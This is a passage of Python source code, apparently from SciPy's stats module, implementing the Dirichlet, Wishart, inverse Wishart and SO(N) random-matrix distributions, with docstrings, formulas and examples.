%(_dirichlet_doc_default_callparams)s Returns ------- v : scalar Variance of the Dirichlet distribution """ alpha = _dirichlet_check_parameters(alpha) alpha0 = np.sum(alpha) out = (alpha * (alpha0 - alpha)) / ((alpha0 * alpha0) * (alpha0 + 1)) return out def entropy(self, alpha): """ Compute the differential entropy of the dirichlet distribution. Parameters ---------- %(_dirichlet_doc_default_callparams)s Returns ------- h : scalar Entropy of the Dirichlet distribution """ alpha = _dirichlet_check_parameters(alpha) alpha0 = np.sum(alpha) lnB = _lnB(alpha) K = alpha.shape[0] out = lnB + (alpha0 - K) * scipy.special.psi(alpha0) - np.sum( (alpha - 1) * scipy.special.psi(alpha)) return _squeeze_output(out) def rvs(self, alpha, size=1, random_state=None): """ Draw random samples from a Dirichlet distribution. Parameters ---------- %(_dirichlet_doc_default_callparams)s size : int, optional Number of samples to draw (default 1). %(_doc_random_state)s Returns ------- rvs : ndarray or scalar Random variates of size (`size`, `N`), where `N` is the dimension of the random variable. """ alpha = _dirichlet_check_parameters(alpha) random_state = self._get_random_state(random_state) return random_state.dirichlet(alpha, size=size) dirichlet = dirichlet_gen() class dirichlet_frozen(multi_rv_frozen): def __init__(self, alpha, seed=None): self.alpha = _dirichlet_check_parameters(alpha) self._dist = dirichlet_gen(seed) def logpdf(self, x): return self._dist.logpdf(x, self.alpha) def pdf(self, x): return self._dist.pdf(x, self.alpha) def mean(self): return self._dist.mean(self.alpha) def var(self): return self._dist.var(self.alpha) def entropy(self): return self._dist.entropy(self.alpha) def rvs(self, size=1, random_state=None): return self._dist.rvs(self.alpha, size, random_state) # Set frozen generator docstrings from corresponding docstrings in # multivariate_normal_gen and fill in default strings in class docstrings for name in ['logpdf', 'pdf', 'rvs', 'mean', 'var', 'entropy']: method = dirichlet_gen.__dict__[name] method_frozen = dirichlet_frozen.__dict__[name] method_frozen.__doc__ = doccer.docformat( method.__doc__, dirichlet_docdict_noparams) method.__doc__ = doccer.docformat(method.__doc__, dirichlet_docdict_params) _wishart_doc_default_callparams = """\ df : int Degrees of freedom, must be greater than or equal to dimension of the scale matrix scale : array_like Symmetric positive definite scale matrix of the distribution """ _wishart_doc_callparams_note = "" _wishart_doc_frozen_callparams = "" _wishart_doc_frozen_callparams_note = \ """See class definition for a detailed description of parameters.""" wishart_docdict_params = { '_doc_default_callparams': _wishart_doc_default_callparams, '_doc_callparams_note': _wishart_doc_callparams_note, '_doc_random_state': _doc_random_state } wishart_docdict_noparams = { '_doc_default_callparams': _wishart_doc_frozen_callparams, '_doc_callparams_note': _wishart_doc_frozen_callparams_note, '_doc_random_state': _doc_random_state } class wishart_gen(multi_rv_generic): r""" A Wishart random variable. The `df` keyword specifies the degrees of freedom. The `scale` keyword specifies the scale matrix, which must be symmetric and positive definite. In this context, the scale matrix is often interpreted in terms of a multivariate normal precision matrix (the inverse of the covariance matrix). Methods ------- ``pdf(x, df, scale)`` Probability density function. ``logpdf(x, df, scale)`` Log of the probability density function. ``rvs(df, scale, size=1, random_state=None)`` Draw random samples from a Wishart distribution. ``entropy()`` Compute the differential entropy of the Wishart distribution. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. %(_doc_default_callparams)s %(_doc_random_state)s Alternatively, the object may be called (as a function) to fix the degrees of freedom and scale parameters, returning a "frozen" Wishart random variable: rv = wishart(df=1, scale=1) - Frozen object with the same methods but holding the given degrees of freedom and scale fixed. See Also -------- invwishart, chi2 Notes ----- %(_doc_callparams_note)s The scale matrix `scale` must be a symmetric positive definite matrix. Singular matrices, including the symmetric positive semi-definite case, are not supported. The Wishart distribution is often denoted .. math:: W_p(\nu, \Sigma) where :math:`\nu` is the degrees of freedom and :math:`\Sigma` is the :math:`p \times p` scale matrix. The probability density function for `wishart` has support over positive definite matrices :math:`S`; if :math:`S \sim W_p(\nu, \Sigma)`, then its PDF is given by: .. math:: f(S) = \frac{|S|^{\frac{\nu - p - 1}{2}}}{2^{ \frac{\nu p}{2} } |\Sigma|^\frac{\nu}{2} \Gamma_p \left ( \frac{\nu}{2} \right )} \exp\left( -tr(\Sigma^{-1} S) / 2 \right) If :math:`S \sim W_p(\nu, \Sigma)` (Wishart) then :math:`S^{-1} \sim W_p^{-1}(\nu, \Sigma^{-1})` (inverse Wishart). If the scale matrix is 1-dimensional and equal to one, then the Wishart distribution :math:`W_1(\nu, 1)` collapses to the :math:`\chi^2(\nu)` distribution. .. versionadded:: 0.16.0 References ---------- .. [1] M.L. Eaton, "Multivariate Statistics: A Vector Space Approach", Wiley, 1983. .. [2] W.B. Smith and R.R. Hocking, "Algorithm AS 53: Wishart Variate Generator", Applied Statistics, vol. 21, pp. 341-345, 1972. Examples -------- >>> import matplotlib.pyplot as plt >>> from scipy.stats import wishart, chi2 >>> x = np.linspace(1e-5, 8, 100) >>> w = wishart.pdf(x, df=3, scale=1); w[:5] array([ 0.00126156, 0.10892176, 0.14793434, 0.17400548, 0.1929669 ]) >>> c = chi2.pdf(x, 3); c[:5] array([ 0.00126156, 0.10892176, 0.14793434, 0.17400548, 0.1929669 ]) >>> plt.plot(x, w) The input quantiles can be any shape of array, as long as the last axis labels the components. """ def __init__(self, seed=None): super(wishart_gen, self).__init__(seed) self.__doc__ = doccer.docformat(self.__doc__, wishart_docdict_params) def __call__(self, df=None, scale=None, seed=None): """ Create a frozen Wishart distribution. See `wishart_frozen` for more information. """ return wishart_frozen(df, scale, seed) def _process_parameters(self, df, scale): if scale is None: scale = 1.0 scale = np.asarray(scale, dtype=float) if scale.ndim == 0: scale = scale[np.newaxis,np.newaxis] elif scale.ndim == 1: scale = np.diag(scale) elif scale.ndim == 2 and not scale.shape[0] == scale.shape[1]: raise ValueError("Array 'scale' must be square if it is two" " dimensional, but scale.scale = %s." % str(scale.shape)) elif scale.ndim > 2: raise ValueError("Array 'scale' must be at most two-dimensional," " but scale.ndim = %d" % scale.ndim) dim = scale.shape[0] if df is None: df = dim elif not np.isscalar(df): raise ValueError("Degrees of freedom must be a scalar.") elif df < dim: raise ValueError("Degrees of freedom cannot be less than dimension" " of scale matrix, but df = %d" % df) return dim, df, scale def _process_quantiles(self, x, dim): """ Adjust quantiles array so that last axis labels the components of each data point. """ x = np.asarray(x, dtype=float) if x.ndim == 0: x = x * np.eye(dim)[:, :, np.newaxis] if x.ndim == 1: if dim == 1: x = x[np.newaxis, np.newaxis, :] else: x = np.diag(x)[:, :, np.newaxis] elif x.ndim == 2: if not x.shape[0] == x.shape[1]: raise ValueError("Quantiles must be square if they are two" " dimensional, but x.shape = %s." % str(x.shape)) x = x[:, :, np.newaxis] elif x.ndim == 3: if not x.shape[0] == x.shape[1]: raise ValueError("Quantiles must be square in the first two" " dimensions if they are three dimensional" ", but x.shape = %s." % str(x.shape)) elif x.ndim > 3: raise ValueError("Quantiles must be at most two-dimensional with" " an additional dimension for multiple" "components, but x.ndim = %d" % x.ndim) # Now we have 3-dim array; should have shape [dim, dim, *] if not x.shape[0:2] == (dim, dim): raise ValueError('Quantiles have incompatible dimensions: should' ' be %s, got %s.' % ((dim, dim), x.shape[0:2])) return x def _process_size(self, size): size = np.asarray(size) if size.ndim == 0: size = size[np.newaxis] elif size.ndim > 1: raise ValueError('Size must be an integer or tuple of integers;' ' thus must have dimension <= 1.' ' Got size.ndim = %s' % str(tuple(size))) n = size.prod() shape = tuple(size) return n, shape def _logpdf(self, x, dim, df, scale, log_det_scale, C): """ Parameters ---------- x : ndarray Points at which to evaluate the log of the probability density function dim : int Dimension of the scale matrix df : int Degrees of freedom scale : ndarray Scale matrix log_det_scale : float Logarithm of the determinant of the scale matrix C : ndarray Cholesky factorization of the scale matrix, lower triagular. Notes ----- As this function does no argument checking, it should not be called directly; use 'logpdf' instead. """ # log determinant of x # Note: x has components along the last axis, so that x.T has # components alone the 0-th axis. Then since det(A) = det(A'), this # gives us a 1-dim vector of determinants # Retrieve tr(scale^{-1} x) log_det_x = np.zeros(x.shape[-1]) scale_inv_x = np.zeros(x.shape) tr_scale_inv_x = np.zeros(x.shape[-1]) for i in range(x.shape[-1]): _, log_det_x[i] = self._cholesky_logdet(x[:,:,i]) scale_inv_x[:,:,i] = scipy.linalg.cho_solve((C, True), x[:,:,i]) tr_scale_inv_x[i] = scale_inv_x[:,:,i].trace() # Log PDF out = ((0.5 * (df - dim - 1) * log_det_x - 0.5 * tr_scale_inv_x) - (0.5 * df * dim * _LOG_2 + 0.5 * df * log_det_scale + multigammaln(0.5*df, dim))) return out def logpdf(self, x, df, scale): """ Log of the Wishart probability density function. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. Each quantile must be a symmetric positive definite matrix. %(_doc_default_callparams)s Returns ------- pdf : ndarray Log of the probability density function evaluated at `x` Notes ----- %(_doc_callparams_note)s """ dim, df, scale = self._process_parameters(df, scale) x = self._process_quantiles(x, dim) # Cholesky decomposition of scale, get log(det(scale)) C, log_det_scale = self._cholesky_logdet(scale) out = self._logpdf(x, dim, df, scale, log_det_scale, C) return _squeeze_output(out) def pdf(self, x, df, scale): """ Wishart probability density function. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. Each quantile must be a symmetric positive definite matrix. %(_doc_default_callparams)s Returns ------- pdf : ndarray Probability density function evaluated at `x` Notes ----- %(_doc_callparams_note)s """ return np.exp(self.logpdf(x, df, scale)) def _mean(self, dim, df, scale): """ Parameters ---------- dim : int Dimension of the scale matrix %(_doc_default_callparams)s Notes ----- As this function does no argument checking, it should not be called directly; use 'mean' instead. """ return df * scale def mean(self, df, scale): """ Mean of the Wishart distribution Parameters ---------- %(_doc_default_callparams)s Returns ------- mean : float The mean of the distribution """ dim, df, scale = self._process_parameters(df, scale) out = self._mean(dim, df, scale) return _squeeze_output(out) def _mode(self, dim, df, scale): """ Parameters ---------- dim : int Dimension of the scale matrix %(_doc_default_callparams)s Notes ----- As this function does no argument checking, it should not be called directly; use 'mode' instead. """ if df >= dim + 1: out = (df-dim-1) * scale else: out = None return out def mode(self, df, scale): """ Mode of the Wishart distribution Only valid if the degrees of freedom are greater than the dimension of the scale matrix. Parameters ---------- %(_doc_default_callparams)s Returns ------- mode : float or None The Mode of the distribution """ dim, df, scale = self._process_parameters(df, scale) out = self._mode(dim, df, scale) return _squeeze_output(out) if out is not None else out def _var(self, dim, df, scale): """ Parameters ---------- dim : int Dimension of the scale matrix %(_doc_default_callparams)s Notes ----- As this function does no argument checking, it should not be called directly; use 'var' instead. """ var = scale**2 diag = scale.diagonal() # 1 x dim array var += np.outer(diag, diag) var *= df return var def var(self, df, scale): """ Variance of the Wishart distribution Parameters ---------- %(_doc_default_callparams)s Returns ------- var : float The variance of the distribution """ dim, df, scale = self._process_parameters(df, scale) out = self._var(dim, df, scale) return _squeeze_output(out) def _standard_rvs(self, n, shape, dim, df, random_state): """ Parameters ---------- n : integer Number of variates to generate shape : iterable Shape of the variates to generate dim : int Dimension of the scale matrix df : int Degrees of freedom random_state : np.random.RandomState instance RandomState used for drawing the random variates. Notes ----- As this function does no argument checking, it should not be called directly; use 'rvs' instead. """ # Random normal variates for off-diagonal elements n_tril = dim * (dim-1) // 2 covariances = random_state.normal( size=n*n_tril).reshape(shape+(n_tril,)) # Random chi-square variates for diagonal elements variances = np.r_[[random_state.chisquare(df-(i+1)+1, size=n)**0.5 for i in range(dim)]].reshape((dim,) + shape[::-1]).T # Create the A matri(ces) - lower triangular A = np.zeros(shape + (dim, dim)) # Input the covariances size_idx = tuple([slice(None,None,None)]*len(shape)) tril_idx = np.tril_indices(dim, k=-1) A[size_idx + tril_idx] = covariances # Input the variances diag_idx = np.diag_indices(dim) A[size_idx + diag_idx] = variances return A def _rvs(self, n, shape, dim, df, C, random_state): """ Parameters ---------- n : integer Number of variates to generate shape : iterable Shape of the variates to generate dim : int Dimension of the scale matrix df : int Degrees of freedom scale : ndarray Scale matrix C : ndarray Cholesky factorization of the scale matrix, lower triangular. %(_doc_random_state)s Notes ----- As this function does no argument checking, it should not be called directly; use 'rvs' instead. """ random_state = self._get_random_state(random_state) # Calculate the matrices A, which are actually lower triangular # Cholesky factorizations of a matrix B such that B ~ W(df, I) A = self._standard_rvs(n, shape, dim, df, random_state) # Calculate SA = C A A' C', where SA ~ W(df, scale) # Note: this is the product of a (lower) (lower) (lower)' (lower)' # or, denoting B = AA', it is C B C' where C is the lower # triangular Cholesky factorization of the scale matrix. # this appears to conflict with the instructions in [1]_, which # suggest that it should be D' B D where D is the lower # triangular factorization of the scale matrix. However, it is # meant to refer to the Bartlett (1933) representation of a # Wishart random variate as L A A' L' where L is lower triangular # so it appears that understanding D' to be upper triangular # is either a typo in or misreading of [1]_. for index in np.ndindex(shape): CA = np.dot(C, A[index]) A[index] = np.dot(CA, CA.T) return A def rvs(self, df, scale, size=1, random_state=None): """ Draw random samples from a Wishart distribution. Parameters ---------- %(_doc_default_callparams)s size : integer or iterable of integers, optional Number of samples to draw (default 1). %(_doc_random_state)s Returns ------- rvs : ndarray Random variates of shape (`size`) + (`dim`, `dim), where `dim` is the dimension of the scale matrix. Notes ----- %(_doc_callparams_note)s """ n, shape = self._process_size(size) dim, df, scale = self._process_parameters(df, scale) # Cholesky decomposition of scale C = scipy.linalg.cholesky(scale, lower=True) out = self._rvs(n, shape, dim, df, C, random_state) return _squeeze_output(out) def _entropy(self, dim, df, log_det_scale): """ Parameters ---------- dim : int Dimension of the scale matrix df : int Degrees of freedom log_det_scale : float Logarithm of the determinant of the scale matrix Notes ----- As this function does no argument checking, it should not be called directly; use 'entropy' instead. """ return ( 0.5 * (dim+1) * log_det_scale + 0.5 * dim * (dim+1) * _LOG_2 + multigammaln(0.5*df, dim) - 0.5 * (df - dim - 1) * np.sum( [psi(0.5*(df + 1 - (i+1))) for i in range(dim)] ) + 0.5 * df * dim ) def entropy(self, df, scale): """ Compute the differential entropy of the Wishart. Parameters ---------- %(_doc_default_callparams)s Returns ------- h : scalar Entropy of the Wishart distribution Notes ----- %(_doc_callparams_note)s """ dim, df, scale = self._process_parameters(df, scale) _, log_det_scale = self._cholesky_logdet(scale) return self._entropy(dim, df, log_det_scale) def _cholesky_logdet(self, scale): """ Compute Cholesky decomposition and determine (log(det(scale)). Parameters ---------- scale : ndarray Scale matrix. Returns ------- c_decomp : ndarray The Cholesky decomposition of `scale`. logdet : scalar The log of the determinant of `scale`. Notes ----- This computation of ``logdet`` is equivalent to ``np.linalg.slogdet(scale)``. It is ~2x faster though. """ c_decomp = scipy.linalg.cholesky(scale, lower=True) logdet = 2 * np.sum(np.log(c_decomp.diagonal())) return c_decomp, logdet wishart = wishart_gen() class wishart_frozen(multi_rv_frozen): """ Create a frozen Wishart distribution. Parameters ---------- df : array_like Degrees of freedom of the distribution scale : array_like Scale matrix of the distribution seed : None or int or np.random.RandomState instance, optional This parameter defines the RandomState object to use for drawing random variates. If None (or np.random), the global np.random state is used. If integer, it is used to seed the local RandomState instance Default is None. """ def __init__(self, df, scale, seed=None): self._dist = wishart_gen(seed) self.dim, self.df, self.scale = self._dist._process_parameters( df, scale) self.C, self.log_det_scale = self._dist._cholesky_logdet(self.scale) def logpdf(self, x): x = self._dist._process_quantiles(x, self.dim) out = self._dist._logpdf(x, self.dim, self.df, self.scale, self.log_det_scale, self.C) return _squeeze_output(out) def pdf(self, x): return np.exp(self.logpdf(x)) def mean(self): out = self._dist._mean(self.dim, self.df, self.scale) return _squeeze_output(out) def mode(self): out = self._dist._mode(self.dim, self.df, self.scale) return _squeeze_output(out) if out is not None else out def var(self): out = self._dist._var(self.dim, self.df, self.scale) return _squeeze_output(out) def rvs(self, size=1, random_state=None): n, shape = self._dist._process_size(size) out = self._dist._rvs(n, shape, self.dim, self.df, self.C, random_state) return _squeeze_output(out) def entropy(self): return self._dist._entropy(self.dim, self.df, self.log_det_scale) # Set frozen generator docstrings from corresponding docstrings in # Wishart and fill in default strings in class docstrings for name in ['logpdf', 'pdf', 'mean', 'mode', 'var', 'rvs', 'entropy']: method = wishart_gen.__dict__[name] method_frozen = wishart_frozen.__dict__[name] method_frozen.__doc__ = doccer.docformat( method.__doc__, wishart_docdict_noparams) method.__doc__ = doccer.docformat(method.__doc__, wishart_docdict_params) from numpy import asarray_chkfinite, asarray from scipy.linalg.misc import LinAlgError from scipy.linalg.lapack import get_lapack_funcs def _cho_inv_batch(a, check_finite=True): """ Invert the matrices a_i, using a Cholesky factorization of A, where a_i resides in the last two dimensions of a and the other indices describe the index i. Overwrites the data in a. Parameters ---------- a : array Array of matrices to invert, where the matrices themselves are stored in the last two dimensions. check_finite : bool, optional Whether to check that the input matrices contain only finite numbers. Disabling may give a performance gain, but may result in problems (crashes, non-termination) if the inputs do contain infinities or NaNs. Returns ------- x : array Array of inverses of the matrices ``a_i``. See also -------- scipy.linalg.cholesky : Cholesky factorization of a matrix """ if check_finite: a1 = asarray_chkfinite(a) else: a1 = asarray(a) if len(a1.shape) < 2 or a1.shape[-2] != a1.shape[-1]: raise ValueError('expected square matrix in last two dimensions') potrf, potri = get_lapack_funcs(('potrf','potri'), (a1,)) tril_idx = np.tril_indices(a.shape[-2], k=-1) triu_idx = np.triu_indices(a.shape[-2], k=1) for index in np.ndindex(a1.shape[:-2]): # Cholesky decomposition a1[index], info = potrf(a1[index], lower=True, overwrite_a=False, clean=False) if info > 0: raise LinAlgError("%d-th leading minor not positive definite" % info) if info < 0: raise ValueError('illegal value in %d-th argument of internal' ' potrf' % -info) # Inversion a1[index], info = potri(a1[index], lower=True, overwrite_c=False) if info > 0: raise LinAlgError("the inverse could not be computed") if info < 0: raise ValueError('illegal value in %d-th argument of internal' ' potrf' % -info) # Make symmetric (dpotri only fills in the lower triangle) a1[index][triu_idx] = a1[index][tril_idx] return a1 class invwishart_gen(wishart_gen): r""" An inverse Wishart random variable. The `df` keyword specifies the degrees of freedom. The `scale` keyword specifies the scale matrix, which must be symmetric and positive definite. In this context, the scale matrix is often interpreted in terms of a multivariate normal covariance matrix. Methods ------- ``pdf(x, df, scale)`` Probability density function. ``logpdf(x, df, scale)`` Log of the probability density function. ``rvs(df, scale, size=1, random_state=None)`` Draw random samples from an inverse Wishart distribution. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. %(_doc_default_callparams)s %(_doc_random_state)s Alternatively, the object may be called (as a function) to fix the degrees of freedom and scale parameters, returning a "frozen" inverse Wishart random variable: rv = invwishart(df=1, scale=1) - Frozen object with the same methods but holding the given degrees of freedom and scale fixed. See Also -------- wishart Notes ----- %(_doc_callparams_note)s The scale matrix `scale` must be a symmetric positive definite matrix. Singular matrices, including the symmetric positive semi-definite case, are not supported. The inverse Wishart distribution is often denoted .. math:: W_p^{-1}(\nu, \Psi) where :math:`\nu` is the degrees of freedom and :math:`\Psi` is the :math:`p \times p` scale matrix. The probability density function for `invwishart` has support over positive definite matrices :math:`S`; if :math:`S \sim W^{-1}_p(\nu, \Sigma)`, then its PDF is given by: .. math:: f(S) = \frac{|\Sigma|^\frac{\nu}{2}}{2^{ \frac{\nu p}{2} } |S|^{\frac{\nu + p + 1}{2}} \Gamma_p \left(\frac{\nu}{2} \right)} \exp\left( -tr(\Sigma S^{-1}) / 2 \right) If :math:`S \sim W_p^{-1}(\nu, \Psi)` (inverse Wishart) then :math:`S^{-1} \sim W_p(\nu, \Psi^{-1})` (Wishart). If the scale matrix is 1-dimensional and equal to one, then the inverse Wishart distribution :math:`W_1(\nu, 1)` collapses to the inverse Gamma distribution with parameters shape = :math:`\frac{\nu}{2}` and scale = :math:`\frac{1}{2}`. .. versionadded:: 0.16.0 References ---------- .. [1] M.L. Eaton, "Multivariate Statistics: A Vector Space Approach", Wiley, 1983. .. [2] M.C. Jones, "Generating Inverse Wishart Matrices", Communications in Statistics - Simulation and Computation, vol. 14.2, pp.511-514, 1985. Examples -------- >>> import matplotlib.pyplot as plt >>> from scipy.stats import invwishart, invgamma >>> x = np.linspace(0.01, 1, 100) >>> iw = invwishart.pdf(x, df=6, scale=1) >>> iw[:3] array([ 1.20546865e-15, 5.42497807e-06, 4.45813929e-03]) >>> ig = invgamma.pdf(x, 6/2., scale=1./2) >>> ig[:3] array([ 1.20546865e-15, 5.42497807e-06, 4.45813929e-03]) >>> plt.plot(x, iw) The input quantiles can be any shape of array, as long as the last axis labels the components. """ def __init__(self, seed=None): super(invwishart_gen, self).__init__(seed) self.__doc__ = doccer.docformat(self.__doc__, wishart_docdict_params) def __call__(self, df=None, scale=None, seed=None): """ Create a frozen inverse Wishart distribution. See `invwishart_frozen` for more information. """ return invwishart_frozen(df, scale, seed) def _logpdf(self, x, dim, df, scale, log_det_scale): """ Parameters ---------- x : ndarray Points at which to evaluate the log of the probability density function. dim : int Dimension of the scale matrix df : int Degrees of freedom scale : ndarray Scale matrix log_det_scale : float Logarithm of the determinant of the scale matrix Notes ----- As this function does no argument checking, it should not be called directly; use 'logpdf' instead. """ log_det_x = np.zeros(x.shape[-1]) #scale_x_inv = np.zeros(x.shape) x_inv = np.copy(x).T if dim > 1: _cho_inv_batch(x_inv) # works in-place else: x_inv = 1./x_inv tr_scale_x_inv = np.zeros(x.shape[-1]) for i in range(x.shape[-1]): C, lower = scipy.linalg.cho_factor(x[:,:,i], lower=True) log_det_x[i] = 2 * np.sum(np.log(C.diagonal())) #scale_x_inv[:,:,i] = scipy.linalg.cho_solve((C, True), scale).T tr_scale_x_inv[i] = np.dot(scale, x_inv[i]).trace() # Log PDF out = ((0.5 * df * log_det_scale - 0.5 * tr_scale_x_inv) - (0.5 * df * dim * _LOG_2 + 0.5 * (df + dim + 1) * log_det_x) - multigammaln(0.5*df, dim)) return out def logpdf(self, x, df, scale): """ Log of the inverse Wishart probability density function. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. Each quantile must be a symmetric positive definite matrix. %(_doc_default_callparams)s Returns ------- pdf : ndarray Log of the probability density function evaluated at `x` Notes ----- %(_doc_callparams_note)s """ dim, df, scale = self._process_parameters(df, scale) x = self._process_quantiles(x, dim) _, log_det_scale = self._cholesky_logdet(scale) out = self._logpdf(x, dim, df, scale, log_det_scale) return _squeeze_output(out) def pdf(self, x, df, scale): """ Inverse Wishart probability density function. Parameters ---------- x : array_like Quantiles, with the last axis of `x` denoting the components. Each quantile must be a symmetric positive definite matrix. %(_doc_default_callparams)s Returns ------- pdf : ndarray Probability density function evaluated at `x` Notes ----- %(_doc_callparams_note)s """ return np.exp(self.logpdf(x, df, scale)) def _mean(self, dim, df, scale): """ Parameters ---------- dim : int Dimension of the scale matrix %(_doc_default_callparams)s Notes ----- As this function does no argument checking, it should not be called directly; use 'mean' instead. """ if df > dim + 1: out = scale / (df - dim - 1) else: out = None return out def mean(self, df, scale): """ Mean of the inverse Wishart distribution Only valid if the degrees of freedom are greater than the dimension of the scale matrix plus one. Parameters ---------- %(_doc_default_callparams)s Returns ------- mean : float or None The mean of the distribution """ dim, df, scale = self._process_parameters(df, scale) out = self._mean(dim, df, scale) return _squeeze_output(out) if out is not None else out def _mode(self, dim, df, scale): """ Parameters ---------- dim : int Dimension of the scale matrix %(_doc_default_callparams)s Notes ----- As this function does no argument checking, it should not be called directly; use 'mode' instead. """ return scale / (df + dim + 1) def mode(self, df, scale): """ Mode of the inverse Wishart distribution Parameters ---------- %(_doc_default_callparams)s Returns ------- mode : float The Mode of the distribution """ dim, df, scale = self._process_parameters(df, scale) out = self._mode(dim, df, scale) return _squeeze_output(out) def _var(self, dim, df, scale): """ Parameters ---------- dim : int Dimension of the scale matrix %(_doc_default_callparams)s Notes ----- As this function does no argument checking, it should not be called directly; use 'var' instead. """ if df > dim + 3: var = (df - dim + 1) * scale**2 diag = scale.diagonal() # 1 x dim array var += (df - dim - 1) * np.outer(diag, diag) var /= (df - dim) * (df - dim - 1)**2 * (df - dim - 3) else: var = None return var def var(self, df, scale): """ Variance of the inverse Wishart distribution Only valid if the degrees of freedom are greater than the dimension of the scale matrix plus three. Parameters ---------- %(_doc_default_callparams)s Returns ------- var : float The variance of the distribution """ dim, df, scale = self._process_parameters(df, scale) out = self._var(dim, df, scale) return _squeeze_output(out) if out is not None else out def _rvs(self, n, shape, dim, df, C, random_state): """ Parameters ---------- n : integer Number of variates to generate shape : iterable Shape of the variates to generate dim : int Dimension of the scale matrix df : int Degrees of freedom C : ndarray Cholesky factorization of the scale matrix, lower triagular. %(_doc_random_state)s Notes ----- As this function does no argument checking, it should not be called directly; use 'rvs' instead. """ random_state = self._get_random_state(random_state) # Get random draws A such that A ~ W(df, I) A = super(invwishart_gen, self)._standard_rvs(n, shape, dim, df, random_state) # Calculate SA = (CA)'^{-1} (CA)^{-1} ~ iW(df, scale) eye = np.eye(dim) trtrs = get_lapack_funcs(('trtrs'), (A,)) for index in np.ndindex(A.shape[:-2]): # Calculate CA CA = np.dot(C, A[index]) # Get (C A)^{-1} via triangular solver if dim > 1: CA, info = trtrs(CA, eye, lower=True) if info > 0: raise LinAlgError("Singular matrix.") if info < 0: raise ValueError('Illegal value in %d-th argument of' ' internal trtrs' % -info) else: CA = 1. / CA # Get SA A[index] = np.dot(CA.T, CA) return A def rvs(self, df, scale, size=1, random_state=None): """ Draw random samples from an inverse Wishart distribution. Parameters ---------- %(_doc_default_callparams)s size : integer or iterable of integers, optional Number of samples to draw (default 1). %(_doc_random_state)s Returns ------- rvs : ndarray Random variates of shape (`size`) + (`dim`, `dim), where `dim` is the dimension of the scale matrix. Notes ----- %(_doc_callparams_note)s """ n, shape = self._process_size(size) dim, df, scale = self._process_parameters(df, scale) # Invert the scale eye = np.eye(dim) L, lower = scipy.linalg.cho_factor(scale, lower=True) inv_scale = scipy.linalg.cho_solve((L, lower), eye) # Cholesky decomposition of inverted scale C = scipy.linalg.cholesky(inv_scale, lower=True) out = self._rvs(n, shape, dim, df, C, random_state) return _squeeze_output(out) def entropy(self): # Need to find reference for inverse Wishart entropy raise AttributeError invwishart = invwishart_gen() class invwishart_frozen(multi_rv_frozen): def __init__(self, df, scale, seed=None): """ Create a frozen inverse Wishart distribution. Parameters ---------- df : array_like Degrees of freedom of the distribution scale : array_like Scale matrix of the distribution seed : None or int or np.random.RandomState instance, optional This parameter defines the RandomState object to use for drawing random variates. If None (or np.random), the global np.random state is used. If integer, it is used to seed the local RandomState instance Default is None. """ self._dist = invwishart_gen(seed) self.dim, self.df, self.scale = self._dist._process_parameters( df, scale ) # Get the determinant via Cholesky factorization C, lower = scipy.linalg.cho_factor(self.scale, lower=True) self.log_det_scale = 2 * np.sum(np.log(C.diagonal())) # Get the inverse using the Cholesky factorization eye = np.eye(self.dim) self.inv_scale = scipy.linalg.cho_solve((C, lower), eye) # Get the Cholesky factorization of the inverse scale self.C = scipy.linalg.cholesky(self.inv_scale, lower=True) def logpdf(self, x): x = self._dist._process_quantiles(x, self.dim) out = self._dist._logpdf(x, self.dim, self.df, self.scale, self.log_det_scale) return _squeeze_output(out) def pdf(self, x): return np.exp(self.logpdf(x)) def mean(self): out = self._dist._mean(self.dim, self.df, self.scale) return _squeeze_output(out) if out is not None else out def mode(self): out = self._dist._mode(self.dim, self.df, self.scale) return _squeeze_output(out) def var(self): out = self._dist._var(self.dim, self.df, self.scale) return _squeeze_output(out) if out is not None else out def rvs(self, size=1, random_state=None): n, shape = self._dist._process_size(size) out = self._dist._rvs(n, shape, self.dim, self.df, self.C, random_state) return _squeeze_output(out) def entropy(self): # Need to find reference for inverse Wishart entropy raise AttributeError # Set frozen generator docstrings from corresponding docstrings in # inverse Wishart and fill in default strings in class docstrings for name in ['logpdf', 'pdf', 'mean', 'mode', 'var', 'rvs']: method = invwishart_gen.__dict__[name] method_frozen = wishart_frozen.__dict__[name] method_frozen.__doc__ = doccer.docformat( method.__doc__, wishart_docdict_noparams) method.__doc__ = doccer.docformat(method.__doc__, wishart_docdict_params) class special_ortho_group_gen(multi_rv_generic): r""" A matrix-valued SO(N) random variable. Return a random rotation matrix, drawn from the Haar distribution (the only uniform distribution on SO(n)). The `dim` keyword specifies the dimension N. Methods ------- ``rvs(dim=None, size=1, random_state=None)`` Draw random samples from SO(N). Parameters ---------- dim : scalar Dimension of matrices Notes ---------- This class is wrapping the random_rot code from the MDP Toolkit, https://github.com/mdp-toolkit/mdp-toolkit Return a random rotation matrix, drawn from the Haar distribution (the only uniform distribution on SO(n)). The algorithm is described in the paper Stewart, G.W., "The efficient generation of random orthogonal matrices with an application to condition estimators", SIAM Journal on Numerical Analysis, 17(3), pp. 403-409, 1980. For more information see http://en.wikipedia.org/wiki/Orthogonal_matrix#Randomization See also the similar `ortho_group`. Examples -------- >>> from scipy.stats import special_ortho_group >>> x = special_ortho_group.rvs(3) >>> np.dot(x, x.T) array([[ 1.00000000e+00, 1.13231364e-17, -2.86852790e-16], [ 1.13231364e-17, 1.00000000e+00, -1.46845020e-16], [ -2.86852790e-16, -1.46845020e-16, 1.00000000e+00]]) >>> import scipy.linalg >>> scipy.linalg.det(x) 1.0 This generates one random matrix from SO(3). It is orthogonal and has a determinant of 1. """ def __init__(self, seed=None): super(special_ortho_group_gen, self).__init__(seed) self.__doc__ = doccer.docformat(self.__doc__) def __call__(self, dim=None, seed=None): """ Create a frozen SO(N) distribution. See `special_ortho_group_frozen` for more information. """ return special_ortho_group_frozen(dim, seed=seed) def _process_parameters(self, dim): """ Dimension N must be specified; it cannot be inferred. """ if dim is None or not np.isscalar(dim) or dim <= 1 or dim != int(dim): raise ValueError("""Dimension of rotation must be specified, and must be a scalar greater than 1.""") return dim def rvs(self, dim, size=1, random_state=None): """ Draw random samples from SO(N). Parameters ---------- dim : integer Dimension of rotation space (N). size : integer, optional Number of samples to draw (default 1). Returns ------- rvs : ndarray or scalar Random size N-dimensional matrices, dimension (size, dim, dim) """ size = int(size) if size > 1: return np.array([self.rvs(dim, size=1, random_state=random_state) for i in range(size)]) dim = self._process_parameters(dim) random_state = 